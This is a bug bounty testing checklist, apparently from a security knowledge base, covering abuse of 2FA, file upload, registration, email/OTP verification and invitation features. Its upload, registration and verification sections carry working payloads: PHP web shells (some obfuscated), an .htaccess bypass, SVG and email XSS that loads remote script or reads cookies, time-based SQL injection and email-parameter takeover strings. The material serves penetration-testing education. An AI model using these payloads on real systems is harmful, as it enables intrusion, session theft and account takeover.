> For the complete documentation index, see [llms.txt](https://sec88.0x88.online/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sec88.0x88.online/methodologies-checklists/features-abuse-checklist.md).

# Features Abuse CheckList

### 2FA Setup

<details>

<summary><strong>2FA Secret is not rotated</strong></summary>

1. Login to the application
2. Setup two factor authentication
3. After the 2FA secret is created, observe that there is no way in which the secret can be rotated

{% embed url="<https://bugcrowd.com/disclosures/0c8a87aa-f10f-4174-b6d8-56c365062910/2fa-secret-is-not-rotated>" %}

</details>

<details>

<summary><strong>2FA Secret Remains Obtainable After 2FA is Enabled</strong></summary>

1. Target allows using 2FA authenticator like google authenticator
2. Try to Find a path that leaks QR code Or the secret that shows when enable the 2fa authentication
3. Analyze JS Files and try to understand how the target generate the secret
4. Test 2FA secret is still retrievable even after the 2FA feature has been activated by Replay Attacks or something

* <https://bugcrowd.com/vulnerability-rating-taxonomy>
* <https://github.com/bugcrowd/vulnerability-rating-taxonomy/issues/203>

</details>

<details>

<summary><strong>2FA Setup Logic Flaw via Response Manipulation</strong></summary>

1. Login and Initiate 2FA Setup: Log in to the web application using valid credentials. Navigate to the section for setting up 2FA in your account settings.
2. Start Authenticator Attachment: Begin the process of attaching an authenticator app for 2FA.
3. Provide Incorrect 2FA Code and Capture the Request: Enter an incorrect 2FA code from the authenticator app. Capture the request made by the application.
4. Intercept the Response and Manipulate it to a Successful Response: Intercept the response sent by the application and modify it to indicate a successful verification, even though the provided 2FA code was incorrect. Impact: User can't login anymore

</details>

<details>

<summary><strong>Old session does not expire after setup 2FA</strong></summary>

1. Login to the application in two different browsers and enable 2FA from 1st session.
2. Use 2nd session and if it is not expired, it could be an issue if there is an insufficient session expiration issue.
3. In this scenario if an attacker hijacks an active session before 2FA, it is possible to carry out all functions without a need for 2FA

{% embed url="<https://bugcrowd.com/disclosures/4147cfbb-a808-4504-9b4f-2a8b68e17d62/old-session-does-not-expire-after-setup-2fa>" %}

</details>

<details>

<summary><strong>Enable 2FA without verifying the email</strong></summary>

1. The attacker signs up with victim's email (Email verification will be sent to victim's email).
2. Attacker is able to log in without verifying the email.
3. Attacker adds 2FA.
4. the victim can't register an account with victim email. If the victim reset the password, the password will change, but the victim can't login because 2FA.

{% embed url="<https://hackerone.com/reports/649533>" %}

</details>

<details>

<summary><strong>IDOR Leads To ATO</strong></summary>

1. As a user1, register, skip 2FA, copy the ID.
2. Register an account user2, register, perform a 2FA request but with ID from user1.
3. 2FA is enabled now on the account user1!
4. Perform a request /api/2fa/verify with valid code and ID of user1.

{% embed url="<https://hackerone.com/reports/810880>" %}

</details>

### 2FA Bypass

<details>

<summary><strong>2FA Code is Not Updated After New Code is Requested</strong></summary>

1. Try Login to your account
2. In 2FA Request resend the code
3. If the old and new code is the same then there is an issue Impact: code that is not updated after a request new one makes it easier for a hacker to brute force or guess the code

{% embed url="<https://github.com/bugcrowd/vulnerability-rating-taxonomy/issues/289>" %}

</details>

<details>

<summary><strong>Old 2FA Code is Not Invalidated After New Code is Generated</strong></summary>

1. Try Login to your account
2. in 2fa page request a new code
3. Enter the Old code

***

1. Request a 2FA code and use it
2. Now, Re-use the 2FA code and if it is used successfully that's an issue.
3. Also, try to re-use the previously used code after long time duration say 1 day or more. That will be an potential issue as 1 day is enough duration to crack and guess a 6-digit 2FA code.

***

1. authenticator generate code every 30 sec
2. wait 30 sec then use the code

***

1. Remove authenticator from your account and generate New 2FA secret and attach it with authenticator
2. Use codes generated by old 2fa secret with authenticator

***

{% embed url="<https://github.com/bugcrowd/vulnerability-rating-taxonomy/issues/289>" %}

{% embed url="<https://hackerone.com/reports/695041>" %}

{% embed url="<https://gitlab.com/gitlab-org/gitlab/-/work_items/121666>" %}

</details>

<details>

<summary><strong>2FA Code Leakage in Response</strong></summary>

1. At 2FA Code Triggering Request, such as Send OTP functionality, capture the Request.
2. See the Response to this request and analyze if the 2FA Code is leaked in the response somewhere.

{% embed url="<https://hackerone.com/reports/1276373>" %}

</details>

<details>

<summary><strong>Lack of Rate-Limit Protection</strong></summary>

1. Request 2FA code and capture this request.
2. Repeat this request for 100-200 times and if there is no limitation set, that's a rate limit issue.
3. At 2FA Code Verification page, try to brute-force for valid 2FA and see if there is any success.
4. You can also try to initiate, requesting OTPs at one side and brute-forcing at another side. Somewhere the OTP will match in middle and may give you a quick result
5. Bypass rate limit protection by changing the subdomain in host header

***

**No Rate Limit in Resend-Code Feature**

1. Go to the 2FA page
2. Click on the "Resend code" Button
3. Capture this request
4. Resend it 50 times Impact: You won't be able to bypass the 2FA but you will be able to waste the company's money.

***

**No rate limit after reset password**

1. A user sends a password reset message to user's registered email.
2. Go to "Password Reset" page from #1's message.
3. Set a new password and Brute force two-factor auth code

{% embed url="<https://hackerone.com/reports/1060518>" %}

{% embed url="<https://hackerone.com/reports/121696>" %}

***

**Lack of rate limit in the user's account when logged in**

Sometimes you can configure the 2FA for some actions inside your account (change mail, password...).\
However, even in cases where there is a rate limit when you tried to log in, there isn't any rate limit to protect actions inside the account.

</details>

<details>

<summary><strong>Missing 2FA Code Integrity Validation</strong></summary>

1. Request a 2FA code from Attacker Account.
2. Use this valid 2FA code in the victim 2FA Request and see if it bypasses the 2FA Protection.
3. Check if you can get the token from your account and try to use it to bypass the 2FA in a different account.

</details>

<details>

<summary><strong>Null And Default Codes Attack Attack</strong></summary>

* [ ] null
* [ ] 000000
* [ ] Blanc
* [ ] 123456
* [ ] `%00`

</details>

<details>

<summary><strong>2FA Referrer Check Bypass | Direct Request</strong></summary>

1. Directly Navigate to the page which comes after 2FA or any other authenticated page of the application.
2. See if this bypasses the 2FA restrictions.
3. try to change the Referrer header as if you came from the 2FA page.

</details>

<details>

<summary><strong>Misconfiguration of Session permissions</strong></summary>

1. Using the same session start the flow using your account and the victim's account.
2. When reaching the 2FA point on both accounts.
3. complete the 2FA with your account but do not access the next part.
4. Instead of that, try to access the next step with the victim's account flow.
5. If the back-end only set a Boolean inside your sessions saying that you have successfully passed the 2FA you will be able to bypass the 2FA of the victim.

</details>

<details>

<summary><strong>Changing the 2FA mode Leads to Bypass the code</strong></summary>

1. Use burp suite or another tool to intercept the requests
2. Turn on and configure your MFA
3. Login with your email and password
4. The page of MFA is going to appear
5. Enter any random number
6. when you press the button "sign in securely" intercept the request POST auth.target.com/v3/api/login and in the POST message change the fields: "mode":"sms" by "mode":"email" "secureLogin":true by "secureLogin":false send the modification and check, you are in your account! It was not necessary to enter the phone code.

{% embed url="<https://hackerone.com/reports/665722>" %}

</details>

<details>

<summary><strong>Bypass Using OAUTH</strong></summary>

Site.com requests Facebook for OAuth token > Facebook verifies user account > Facebook sends callback code > Site.com logs a user in without requesting 2fa code

{% embed url="<https://hackerone.com/reports/178293>" %}

</details>

<details>

<summary><strong>Random timeout issue on a Two-Step Verification endpoint</strong></summary>

enter 2 wrong attempts in a short time\
this may leads to bypass the 2FA process

{% embed url="<https://hackerone.com/reports/1747978>" %}

</details>

<details>

<summary><strong>Remove the part of the cookie that is responsible for 2FA authentication</strong></summary>

{% embed url="<https://hackerone.com/reports/2315420>" %}

</details>

### Disable 2FA

<details>

<summary><strong>Lack of Rate-Limit in Disable 2FA Feature</strong></summary>

(1) Login in your target\
(2) Click on your username\
(3) Navigate to Two-factor authentication --> Disable 2FA\
(4) add random password in Please confirm your identity to register a new Two-Factor Authenticator\
(5) Capture the request and send it to Intruder for fuzz

{% embed url="<https://hackerone.com/reports/1465277>" %}

</details>

<details>

<summary><strong>Disable 2FA via CSRF (Leads to 2FA Bypass)</strong></summary>

1. Go to [https://tarfget.ru/profile/settings](https://pandao.ru/profile/settings) and sign up for two accounts. In which first is attacker's account and second is Victim’s
2. Log in to the Attackers account and capture the Disable 2FA request in the Burp suite and generate CSRF POC.
3. Save the CSRF POC file with extension .html
4. Now log in to Victim’s account in Private Browser and fire that CSRF file. Now you can see that It disables 2FA which leads to 2FA Bypass

***

1. Capture request in burpsuite
2. Engagement tools> Generate CSRF POC
3. Pass null chars in token value so function will over-ride
4. Submit twice for overriding
5. 2FA disabled

{% embed url="<https://vbharad.medium.com/2-fa-bypass-via-csrf-attack-8f2f6a6e3871>" %}

{% embed url="<https://hackerone.com/reports/670329>" %}

{% embed url="<https://twitter.com/adityashende17/status/1241093166540849152>" %}

</details>

<details>

<summary><strong>Password Reset/Email Check → Disable 2FA</strong></summary>

1. Create an Account and Turn On 2FA.
2. Logout from that account.
3. Now, Go to Forget Password-Reset page.
4. Change your password.
5. Now try to log in, If you are not asked to enter a 2FA code, You can report.

{% embed url="<https://infosecwriteups.com/how-i-bypass-2fa-while-resetting-password-3f73bf665728>" %}

</details>

<details>

<summary><strong>Logic Bug Disable 2FA</strong></summary>

1. Open Your BurpSuite and Turn on the intercept
2. Go To 2Factor Authentication page click the red buttons "Disable two factor ...."
3. Put any wrong password and copy all the header
4. Go to repeater and make a POST request to <https://localizestaging.com/api/user/two-factor/set> also Paste the header here.
5. add a body request like this method=sms\&phone=%2B62-hacker-phone-number then click GO
6. Bypassed !

{% embed url="<https://hackerone.com/reports/783258>" %}

</details>

<details>

<summary><strong>Backup Code Abuse</strong></summary>

Apply same techniques used on 2FA such as Response/Status Code Manipulation, Brute-force, etc. to bypass Backup Codes and disable/reset 2FA

Backup codes are generated immediately after 2FA is enabled and are available on a single request. After each subsequent call to the request, the codes can be regenerated or remain unchanged (static codes).

If there are CORS misconfigurations/XSS vulnerabilities and other bugs that allow you to “pull” backup codes from the response request of the backup code endpoint, then the attacker could steal the codes and bypass 2FA if the username and password are known.

{% embed url="<https://hackerone.com/reports/113953>" %}

{% embed url="<https://hackerone.com/reports/100509>" %}

</details>

<details>

<summary><strong>Password not checked when 2FA Disable</strong></summary>

Check when u try to disable 2FA there is no identity confirmation methods like 2fa code otr password

***

1. go to your account and activate the 2FA from /settings/auth
2. after activating this option click on the Disable icon beside Two-factor authentication.
3. a new window will open asking for Authentication or backup code - Password to confirm the disabled
4. in the first box enter a valid Authentication or backup code and in the password filed enter any random/wrong password and click save.
5. the option will be disabled successful without check the validation of the password.

{% embed url="<https://hackerone.com/reports/587910>" %}

</details>

<details>

<summary><strong>Clickjacking on 2FA Disabling Page</strong></summary>

1. Try to Iframe the page where the application allows a user to disable 2FA
2. If Iframe is successful, try to perform a social engineering attack to manipulate victim to fall in your trap.

</details>

### File-Upload

<details>

<summary><em><strong>Payloads</strong></em></summary>

```php
<?php system($_GET["cmd"]);?> # ?cmd= (ex: ?cmd=ls -la")
<?=`$_GET[0]`?>               # ?0=command

<?=`$_POST[0]`?>          
# Usage : curl -X POST http://target.com/path/to/shell.php -d "0=command"

<?=`{$_REQUEST['_']}`?>      
# Usage: http://target.com/path/to/shell.php?_=command OR curl -X POST http://target.com/path/to/shell.php -d "_=command" '

<?=$_="";$_="'" ;$_=($_^chr(4*4*(5+5)-40)).($_^chr(47+ord(1==1))).($_^chr(ord('_')+3)).($_^chr(((10*10)+(5*3))));$_=${$_}['_'^'o'];echo`$_`?>
# Usage : http://target.com/path/to/shell.php?0=command

<?php $_="{"; $_=($_^"<").($_^">;").($_^"/"); ?><?=${'_'.$_}['_'](${'_'.$_}['__']);?>
# Usage : http://target.com/path/to/shell.php?_=function&__=argument http://target.com/path/to/shell.php?_=system&__=ls
```

</details>

<details>

<summary><strong>Content type</strong></summary>

```
- Preserve name, but change content-type
Content-Type: image/jpeg, image/gif, image/png
```

</details>

<details>

<summary><strong>Content length Bypass</strong></summary>

```
# Small bad code:
<?='$_GET[x]'?>
```

</details>

<details>

<summary><strong>Impact/Exploitation by extension</strong></summary>

```go
asp, aspx, php5, php, php3: -->  webshell, rce
svg:                        --> stored xss, ssrf, xxe
gif:                        --> stored xss, ssrf
csv:                        --> csv injection
xml:                        --> xxe 
avi:                        --> lfi, ssrf
html, js:                   --> html injection, xss, open redirect
png, jpeg:                  --> pixel flood attack dos
zip:                        --> rce via lfi, dos
pdf, pptx:                  --> ssrf, blind xxe
```

</details>

<details>

<summary><strong>File name Tests</strong></summary>

* [ ] Path traversal `../../etc/passwd/logo.png` `../../../logo.png`
* [ ] SQLi `'sleep(10).jpg` `sleep(10)-- -.jpg`
* [ ] Command injection `; sleep 10;`
* [ ] XSS `<svg onload=alert(document.comain)>.svg`

</details>

<details>

<summary><strong>Image-Tragic</strong></summary>

SVG images are just XML data. Using XML you can achieve lots of vulnerabilities, for instance Image Magic which is an image processing library is vulnerable to SSRF and RCE vulnerabilities.

{% embed url="<https://4lemon.ru/2017-01-17_facebook_imagetragick_remote_code_execution.html>" %}

</details>

<details>

<summary><strong>Web shell upload via extension blacklist bypass</strong></summary>

```http
------WebKitFormBoundary0G2tBRqMoRVtGqfG
Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: text/plain

AddType application/x-httpd-php .l33t
------------------------------------------
then 
------WebKitFormBoundary0G2tBRqMoRVtGqfG
Content-Disposition: form-data; name="avatar"; filename="exploit.l33t"
Content-Type: application/octet-stream

<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundary0G2tBRqMoRVtGqfG
```

</details>

<details>

<summary><strong>Remote code execution via polyglot web shell upload</strong></summary>

{% embed url="<https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-polyglot-web-shell-upload>" %}

```php
exiftool.exe -Comment="<?php echo 'START ' . 'Hacked By h0tak88r :)' . ' END'; ?>" download.png -o polyglot.php
```

</details>

<details>

<summary><strong>EXIF-DATA not Stripped</strong></summary>

1. Got to Github ( <https://github.com/ianare/exif-samples/tree/master/jpg)\\\\>
2. There are lot of images having resolutions (i.e 1280 \* 720 ) , and also whith different MB’s .\\
3. Go to Upload option on the website\\
4. Upload the image\\
5. see the path of uploaded image ( Either by right click on image then copy image address OR right click, inspect the image, the URL will come in the inspect , edit it as html )
6. open it (<http://exif.regex.info/exif.cgi>)
7. See whether is that still showing exif data , if it is then Report it. **Reports (Hackerone)**
8. IDOR with Geolocation data not stripped from images

{% embed url="<https://hackerone.com/reports/906907>" %}

</details>

<details>

<summary><strong>File Upload Exploitations</strong></summary>

* **SVG file To XSS**

  ```jsx
  	<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  	<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
  	<script type="text/javascript">
  	alert("h0tak88r XSS");
  	</script>
  	</svg>
  ```
* **Open Redirect when uploading svg files**

  ```xml
      <code>
      <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
      <svg
      onload="window.location='<http://www.google.com>'"
      xmlns="<http://www.w3.org/2000/svg>">
      </svg>
      </code>
      
  ```

</details>

<details>

<summary><strong>Inbound Interactions (Active User → Banned User)</strong></summary>

* [ ] **The Collaboration Test:** Can an active user invite, assign, or add the banned user's email/ID to a private project, team, or workspace?.
* [ ] [**Banned user still able to invited to reports as a collabrator and reset the password**](https://hackerone.com/reports/1959219)
* [ ] **The Asset Transfer Test**: Can an active user transfer ownership of a resource (e.g., a repository, a billing account, or funds) to the banned user?
* [ ] **The Mention/Ping Test**: Can an active user tag (@mention) or send Direct Messages to the banned user? Does the system process it and send an email notification to the banned user?

</details>

<details>

<summary><strong>Outbound Interactions (Banned User → Application)</strong></summary>

* [ ] **The Stale Session Test:** If you ban an account while it has an active session in another browser, does that session die immediately? Can the banned user still navigate the site or make API calls using the old session cookie?
* [ ] **The API Token Test:** Do Personal Access Tokens (PATs) or API keys get revoked upon banning? Try using an old API token to fetch or modify data.
* [ ] **The OAuth / SSO Test:** If the banned user logs in via a third party (like "Login with Google" or a corporate SSO), can they still authenticate into peripheral services, support portals, or subdomains?

</details>

<details>

<summary><strong>Unauthenticated Feature Access</strong></summary>

* **The Password Reset Test:** Can the banned user request a password reset, receive the email, and successfully change their password?
* **The Email Verification Test:** If the banned user tries to re-verify their email or click an old "Confirm Email" link, does the application process it and accidentally restore their account state?
* **The Support Portal Test:** Can the banned user create support tickets or interact with the Zendesk/Helpdesk integration using their banned email?

</details>

<details>

<summary><strong>Data Privacy &#x26; Leakage</strong></summary>

* **The Profile IDOR Test:** The frontend might return a 404 for the banned user's profile, but does the API (e.g., `/api/v1/users/{banned_id}`) still leak their PII (Personally Identifiable Information)?
* **The Webhook/Integration Test:** If the banned user previously set up webhooks or Slack/Discord integrations, are those integrations still firing and sending company data to the banned user's external servers?

</details>

### Registration

<details>

<summary><strong>Throw Way Email Services Used for SignUps</strong></summary>

Use throwaway email to create a temporary email:

* [ ] <https://mail.protonmail.com>
* [ ] <http://en.getairmail.com>
* [ ] <https://temp-mail.org/en>
* [ ] <https://www.mailinator.com>

</details>

<details>

<summary><strong>Username/Email Enumeration</strong></summary>

* [ ] Non-Brute Force
* [ ] Check the Registration Process and try to find IDOR or endpoint that leaks usernames/emails

</details>

<details>

<summary><strong>SQLI in Email Field</strong></summary>

* [ ] SQLI in Email Field

{% code overflow="wrap" %}

```json
{"email":"asd'a@a.com"} --> Not Valid {"email":"asd'or'1'='1@a.com" } --> valid {"email":"a'-IF(LENGTH(database())>9,SLEE P(7),0)or'1'='1@a.com"} --> Not Valid {"email":"a'-IF(LENGTH(database())>9,SLEE P(7),0)or'1'='1@a.com"} -> Valid --> Delay: 7,854 milis {"email":"\"a'-IF(LENGTH(database())=10,SLEEP(7),0)or'1'='1\"@a.com"} --> {"code":0,"status":200,"mes sage":"Berhasil"} --> Valid --> Delay 8,696 milis {"email":"\"a"-IF(LENGTH(database())=11,SLEEP(7),0)or'1'='1\"@a.com"} ---> {"code":0,"status":200,"mes sage":"Berhasil"} ---> Valid --> No delay
```

{% endcode %}

* <https://dimazarno.medium.com/bypassing-email-filter-which-leads-to-sql-injection-e57bcbfc6b17>

</details>

<details>

<summary><strong>XSS/HTML Injection in username/email for registration</strong></summary>

{% code overflow="wrap" %}

```html
"><svg/onload=alert(1)>"@x.y
"><img/src/onerror=import('//domain/')>"@yourdomain.com
013371337;ext=<img/src/onerror=import('//domain/')>
admin1@example.com<script>alert('xss');</script>
“><svg/onload=confirm(1)>”@x.y
"hello<form/><!><details/open/ontoggle=alert(1)>"@gmail.com
["');alert('XSS');//"]@xyz.xxx
"<svg/onload=alert(1)>"@gmail.com
"><img/src/onerror=import('//domain/')>"@yourdomain.com
test@gmail.com%27\\%22%3E%3Csvg/onload=alert(/xss/)%3E
"><img src=x onerror=alert(88)>"@gmail.com
"><svg/onload="alert(document.cookie)"
```

{% endcode %}

</details>

<details>

<summary><strong>Rate Limit Issues</strong></summary>

* [ ] No Rate Limit in Registration
* [ ] Rate Limit Bypass
* [ ] Captcha Bypass

</details>

<details>

<summary><strong>Weak Password Policy</strong></summary>

Check if program accept

1. weak passwords like `123456`
2. username same as email address
3. password same as email address
4. improper implemented password reset and change features

</details>

<details>

<summary><strong>Path Overwrite</strong></summary>

If an application allows users to check their profile with direct path `/{username}` always try to signup with system reserved file names, such as `index.php, signup.php, login.php, etc`. In some cases what happens here is, when you signup with username: index.php or `../../../../index.php` , now upon visiting `target.tld/index.php`, your profile will comeup and occupy the index.php page of an application.

Similarly, if an attacker is able to signup with username login.php, Imagine login page getting takeovered.

{% embed url="<https://infosecwriteups.com/logical-flaw-resulting-path-hijacking-dd4d1e1e832f>" %}

</details>

<details>

<summary><strong>DOS at Name/Password field in Signup Page</strong></summary>

**Steps to reproduce:**

1. Go Sign up form.
2. Fill the form and enter a long string in password
3. Click on enter and you’ll get 500 Internal Server error if it is vulnerable.

**Further Read**

{% embed url="<https://shahjerry33.medium.com/long-string-dos-6ba8ceab3aa0>" %}

{% embed url="<https://hackerone.com/reports/738569>" %}

{% embed url="<https://hackerone.com/reports/223854>" %}

</details>

### Email/OTP Verification

<details>

<summary><a href="https://hackerone.com/reports/791775"><strong>Email Verification Bypass Leads to PrivEsc</strong></a></summary>

* Visit <https://www.shopify.com/pricing> and signup a free trial with an email address, say `attacker@gmail.com` that you can receive emails after entering the fields to enter the store, on top right corner, click your name and go to Your Profile
* Change your email to someone that you want to takeover, for example `yaworsk@hackerone.com` and click save All done now, grab a coffee, sit back and relax, watch some YouTube videos and wait for an email to go to your email `attacker@gmail.com` The email that you are waiting for is from `mailer@shopify.com`, and sent to the old email
* Click the link and you should see your email has been updated to <yaworsk@hackerone.com>

</details>

<details>

<summary><strong>Email Verification link Doesn't Expire After Email Change Leads to Delete User Account</strong></summary>

1. The victim already has an account with the target website, registered with the email address `victim@gmail.com`.
2. The attacker attempts to create an account on the target website using their email address, `attacker@gmail.com.`
3. The attacker does not proceed with the account creation process and saves the confirmation link without confirming the email.
4. The attacker presents their Gmail account (`attacker@gmail.com`) as a gift to the victim.
5. The victim, believing it to be their own Gmail account, changes the password and assumes control of the Gmail account `attacker@gmail.com`, which was originally the attacker's account.
6. The victim decides to change their email address on the target website (recreation).
7. The victim initiates the email address change process and requests a change email link.
8. The attacker, having the saved confirmation link, completes the account creation process using the link. Now there is an account with the email address <attacker@gmail.com>.
9. Unaware of the attacker's actions, the victim clicks on the update email link and updates their email address to `attacker@gmail.com` ( Remember! attacker have non access to Gmail account `attacker@gmail.com` he only have the confirm link)
10. When the victim attempts to log in, they realize that the newly created account by the attacker in step 8 has overwritten their original account.
11. The victim tries to recover their account by requesting a password reset, but they can only access the newly created account by the attacker and are unable to regain access to their original account.

</details>

<details>

<summary><strong>Email Verification Bypass using OAUTH</strong></summary>

1. Signup for `victim@gmail.com` using email signup
2. Signup through google login using the same email
3. The user will be logged in
4. This vulnerability is very high severity because of ease of exploitation and complete account access if the victim creates an account.

{% embed url="<https://hackerone.com/reports/1074047>" %}

</details>

<details>

<summary><strong>Verification link leaked in the response</strong></summary>

1. Signup for <victim@gmail.com> using email signup
2. Check the response from the server for leaked verification link

<https://hackerone.com/hacktivity/cwe_discovery>

</details>

<details>

<summary><strong>Bypass via Response Manipulation</strong></summary>

1. First visit your website "<https://hackers.upchieve.org>" and request for the sign up.
2. In the second step, choose either you want to register as an academic coach or need an academic coach.
3. In the third step, enter your email and create a password.
4. In the fourth step, enter name and mobile phone, then sign up.
5. Then request for verification code on email.
6. Enter wrong verification code and intercept request using Burp suite.
7. After intercepting the request, I changed the status from "False" to "True". `{"status":false to "status":true}`
8. Boom!! Verification code bypassed.
9. Finally, the account was created with the wrong verification code.

{% embed url="<https://hackerone.com/reports/1406471>" %}

</details>

<details>

<summary><strong>Ability to bypass partner email confirmation to take over any store given an employee email</strong></summary>

{% embed url="<https://hackerone.com/reports/300305>" %}

</details>

<details>

<summary><strong>Rate Limit Issues</strong></summary>

* [ ] No Rate Limit When Sending OTP

{% code overflow="wrap" %}

```
1) Create an Account
2) When Application Ask you For the OTP( One-time password ), Enter wrong OTP and Capture this Request In Burp.
3) Send This Request into Repeater and repeat it by setting up payload on otp Value.
4) if there is no Rate Limit then wait for 200 Status Code (Sometimes 302)
5)if you get 200 ok or 302 Found Status Code that means you've bypass OTP
```

{% endcode %}

* [ ] No Rate Limit when Email verification
  * [ ] try to click resend confirmation email request
  * [ ] capture it
  * [ ] try to send it 50+ times

{% embed url="<https://hackerone.com/reports/774050>" %}

</details>

<details>

<summary><strong>Broken Authentication To Email Verification Bypass</strong></summary>

1. First You need to make a account & You will receive a Email verification link.
2. Application in my case give less Privileges & Features to access if not verified.
3. Logged into the Application & I change the email Address to Email B.
4. Verification Link was Sent & I verified that.
5. Now I again Changed the email back to Email I have entered at the time of account creation.
6. It showed me that my Email is Verified.
7. Hence , A Succesful Email verfication Bypassed as I haven't Verified the Link which was sent to me in the time of account creation still my email got verified.
8. Didn't Receive any code again for verification when I changed back my email & When I open the account it showed in my Profile that its Verified Email.

</details>

<details>

<summary><strong>ATO from manipulating the email Parameter</strong></summary>

{% code overflow="wrap" %}

```http
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
#No domain:
email=victim
#No TLD (Top Level Domain):
email=victim@xyz
#change param case 
email=victim@mail.com&Email=attacker@mail.com
email@email.com,victim@hack.secry
email@email“,”victim@hack.secry  
email@email.com:victim@hack.secry
email@email.com%0d%0avictim@hack.secry  
%0d%0avictim@hack.secry
%0avictim@hack.secry
victim@hack.secry%0d%0a
victim@hack.secry%0a
victim@hack.secry%0d
victim@hack.secr%00
victim@hack.secry{{}}
```

{% endcode %}

</details>

<details>

<summary><strong>Bypassing OTP in registration forms by repeating the form submission multiple times using repeater</strong></summary>

{% code overflow="wrap" %}

```markdown
1. Create an account with a non-existing phone number
2. Intercept the Request in BurpSuite
3. Send the request to the repeater and forward
4. Go to Repeater tab and change the non-existent phone number to your phone number
5. If you got an OTP to your phone, try using that OTP to register that non-existent number
```

{% endcode %}

</details>

<details>

<summary><strong>OTP Bypass in JSON</strong></summary>

{% code overflow="wrap" %}

```json
{
        "code":[
                "1000",
                "1001",
                "1002",
                "1003",
                "1004",
                ...
                "9999"
                ]
}
```

{% endcode %}

</details>

<details>

<summary><strong>More test cases for bypassing OTP</strong></summary>

1. Check for default OTP - 111111, 123456, 000000
2. Check if otp has been leaked in respone (Capture the request in burpsuite and send it to repeater to check the response)
3. Check if old OTP is still vaild

</details>

<details>

<summary><strong>Duplicate Registration</strong></summary>

1. Create first account in application with email say `abc@gmail.com` and password.
2. Logout of the account and create another account with same email and different password.
3. You can even try to change email case in some case like from `abc@gmail.com` to `Abc@gmail.com` Try to generate using an existing username Check varying the email: `uppercase`, `+1@`, Put black characters after the email: `test@test.com` a , special characters in the email name (`%00`, `%09`, `%20`), `victim@gmail.com@attacker.com`, `victim@attacker.com@gmail.com`
4. Finish the creation process — and see that it succeeds
5. Now go back and try to login with email and the new password. You are successfully logged in.

{% embed url="<https://hackerone.com/reports/187714>" %}

{% embed url="<https://shahjerry33.medium.com/duplicate-registration-the-twinning-twins-883dfee59eaf>" %}

{% embed url="<https://blog.securitybreached.org/2020/01/22/user-account-takeover-via-signup-feature-bug-bounty-poc/>" %}

* [ ] Delete any user account without user interaction The database accepts string as it without convert it to lowercase string

1. Create a normal email ex. `theuntest@crowd.com`
2. After the email created I able to bypass verify too
3. Bypass for the verify easy, send a valid token to any email the link will be like: <https://the-vulnreable/confi-endpoint/account/confirmemail?userId=maybeeee@gmail.com\\&token=ananfnasjfasjnfjasfsaa>
4. Just manipulate the email with your email and the email will verified
5. Now login to the normal account as shown I received the JWT normally
6. After create an account customize the email, so the email will be like: `MAybeeEE@GmaiL.coM`, looks like camel case
7. As shown below I able to register the customized email as an another email
8. After the email created I have the ability to bypass the verify as shown above
9. URL will be like: <https://the-vulnreable/confi-endpoint/account/confirmemail?userId=MAybeeEE@GmaiL.coM\\&token=ananfnasjfasjnfjasfsaa>
10. The user will verified
11. Here the two users has signed
12. The user will received authentication successful but will never receives JWT because the customized email will conflicts with the old email in DB

{% embed url="<https://m.facebook.com/story.php?story_fbid=pfbid0345dp8U87sY32EfSKAnkqsUNJrN9iMt5WLYFZZQHnimriAbgHv2bBQSEPHPV66Sppl&id=100010641453891&mibextid=Nif5oz>" %}

</details>

### Inviting Feature

<details>

<summary><strong>Token Leaked In Response</strong></summary>

* [ ] Token Leaked in the `Resend-Token` endpoint

</details>

<details>

<summary><strong>Failure to invalidate token</strong></summary>

1. Invitation link doesn't expire
2. Generate an invitation link and send it to your secondary account to join the team.
3. Accept the invitation.
4. Remove the secondary user from the team.
5. Try to rejoin the organization using the same invitation link, and prepare to be amazed!

</details>

<details>

<summary><strong>Second admin can deactive 2FA for first admin without password</strong></summary>

1. Admin need to put password to deactive 2FA
2. Admin can invite another admin
3. Second admin can deactive 2FA for first admin without password

</details>

<details>

<summary><strong>IDOR in email parameter when sign up using invitation feature</strong></summary>

1. Admin invite user with specific email
2. User open message in email to complete registertion
3. After finish user intercept request before submit
4. Change email at email parameter
5. Email changed Successfully

</details>

<details>

<summary><strong>API Misconfiguration Leads to PrevEsc</strong></summary>

1. Admin invite user
2. User login
3. In user login request there's parameter called role:"user"
4. Use match & replace to changed it to role:"admin"
5. Login with user, it's logout me directly
6. But i see all informtion with burp via api endpoints

</details>

<details>

<summary><strong>Signup without accept invitation</strong></summary>

1. Send invite to <test@example.com>
2. Disregard Invite, directly signup.
3. <test@example.com> becomes part of the organisation.
4. Victim organisation dashboard still shows that <test@example.com> hasn’t accepted the invitation sent to email.
5. But in real time <test@example.com> remains part of the organisation anonymously.

</details>

<details>

<summary><strong>Logic Error Leads to Project Takeover</strong></summary>

1. User invite attacker to the project as member
2. Attacker changes his name with bad chracters like html tags and %00 and other latina chars
3. Victim tries to remove attacker from the team but he faces errors and the request doesn't occure

</details>

<details>

<summary><strong>Injection</strong></summary>

* [ ] XSS in first-name through invitaiton link

</details>

<details>

<summary><strong>BAC</strong></summary>

{% hint style="info" %}
**Methodology:** just pass the jwt and cookie of the low leverage user to auth analyzer and it will repeat all admin requests with the lower privilege user
{% endhint %}

* [ ] Member invite admin
* [ ] Viewer edit content
* [ ] Member invite member
* [ ] Member edit org settings
* [ ] Member can remove members
* [ ] Viewer can edit
* [ ] Member edit permissions

</details>

<details>

<summary><strong>Sign_up without accepting the invitation the attacker join organization anonymously</strong></summary>

</details>

<details>

<summary><strong>Race Conditions</strong></summary>

* [ ] Race Condition in invite user
* [ ] Race Condition in accepting invitation

</details>

<details>

<summary><strong>Race Condition on Invitation Sending Request</strong></summary>

{% embed url="<https://medium.com/@amralaa66652/the-power-of-a-race-condition-d8f9be8ba71a>" %}

**Race Condition → Role Escalation (Viewer → Admin)**

* [ ] Log in as an **Admin** account
